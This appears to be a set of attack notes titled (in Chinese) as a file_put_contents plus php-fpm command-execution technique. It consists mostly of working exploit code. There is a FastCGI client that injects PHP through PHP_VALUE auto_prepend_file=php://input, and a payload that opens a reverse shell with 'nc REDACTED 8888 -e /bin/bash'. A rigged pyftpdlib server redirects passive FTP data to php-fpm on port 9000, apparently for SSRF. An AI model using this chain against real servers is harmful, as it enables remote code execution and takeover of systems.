file_put_contents + php-fpm 命令执行

from pyfcgiclient.fpm import FPM

phpfpm = FPM(
    host='127.0.0.1',
    port=9000,
    sock="/run/php/php8.0-fpm.sock",
    document_root='/usr/share/nginx/html'
)

post_string = '<?php echo `id`;phpinfo(); exit();?>'

status_header, headers, output, error_message = phpfpm.load_url(
    url='/index.php?a=b',
    content=post_string,
    remote_addr='127.0.0.1',
    cookies='c=d;e=f;'
)
print(output)

            'PHP_VALUE': 'auto_prepend_file = php://input',
            'PHP_ADMIN_VALUE': 'allow_url_include = On',

    _environPrefixes = ['SERVER_', 'HTTP_', 'REQUEST_', 'REMOTE_', 'PATH_',
                        'CONTENT_', 'DOCUMENT_', 'SCRIPT_','PHP_']

    handler.masquerade_address = '127.0.0.1'
    handler.passive_ports = range(9000, 9001)

from pyfcgiclient.fpm import FPM

phpfpm = FPM(
    host='127.0.0.1',
    port=9000,
    #sock="/run/php/php8.0-fpm.sock",
    document_root='/usr/share/nginx/html'
)

post_string = '<?php system("touch /tmp/hacked");system("nc REDACTED 8888 -e /bin/bash");?>'

status_header, headers, output, error_message = phpfpm.load_url(
    url='/index.php?a=b',
    content=post_string,
    remote_addr='127.0.0.1',
    cookies='c=d;e=f;'
)
print(output)

#!/usr/bin/env python

# Copyright (C) 2007 Giampaolo Rodola' <g.rodola@gmail.com>.
# Use of this source code is governed by MIT license that can be
# found in the LICENSE file.

"""A basic FTP server which uses a DummyAuthorizer for managing 'virtual
users', setting a limit for incoming connections and a range of passive
ports.
"""

import os

from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler,PassiveDTP
from pyftpdlib.servers import FTPServer

import logging
logging.basicConfig(level=logging.DEBUG)

class MyHandler(FTPHandler):
    fileflag =  False

    def on_connect(self):
        print("%s:%s connected" % (self.remote_ip, self.remote_port))

    def on_incomplete_file_received(self, file):
        # remove partially uploaded files
        import os
        os.remove(file)
    def ftp_SIZE(self, path):
        print(path)
        if not MyHandler.fileflag:
            MyHandler.fileflag = True
        else:
            MyHandler.fileflag = False
            path = path + "aaabb"

        super(MyHandler,self).ftp_SIZE(path)


class MyPassiveDTP(PassiveDTP):
    _flag = 0
    def  __init__(self, cmd_channel, extmode=False):
        #print()
        print(cmd_channel.masquerade_address)
        print(cmd_channel.passive_ports)
        if MyPassiveDTP._flag % 4 ==0 or MyPassiveDTP._flag % 4 == 1:
            MyPassiveDTP._flag = MyPassiveDTP._flag + 1
            print("False Flag")
        else:
            MyPassiveDTP._flag = MyPassiveDTP._flag + 1
            cmd_channel.masquerade_address = '127.0.0.1'
            cmd_channel.passive_ports = range(9000, 9001)
            print(cmd_channel.masquerade_address)
            print(cmd_channel.passive_ports)

        super(MyPassiveDTP,self).__init__(cmd_channel, extmode=False)


def startftpserver():
    # Instantiate a dummy authorizer for managing 'virtual' users
    authorizer = DummyAuthorizer()

    # Define a new user having full r/w permissions and a read-only
    # anonymous user
    authorizer.add_user('user', '12345', os.getcwd(), perm='elradfmwMT')
    authorizer.add_anonymous(os.getcwd(),perm='elradfmwMT')

    # Instantiate FTP handler class
    handler = MyHandler
    #handler = FTPHandler
    passdtp = MyPassiveDTP
    handler.passive_dtp = passdtp

    handler.authorizer = authorizer

    # Define a customized banner (string returned when client connects)
    handler.banner = "pyftpdlib based ftpd ready."

    # Specify a masquerade address and the range of ports to use for
    # passive connections.  Decomment in case you're behind a NAT.
    # handler.masquerade_address = '127.0.0.1'
    # handler.passive_ports = range(9000, 9001)
    handler.passive_ports = range(60000, 65535)

    # Instantiate FTP server class and listen on 0.0.0.0:2121
    address = ('', 2121)
    server = FTPServer(address, handler)


    # set a limit for connections
    server.max_cons = 256
    server.max_cons_per_ip = 5

    # start ftp server
    server.serve_forever()


if __name__ == '__main__':
    startftpserver()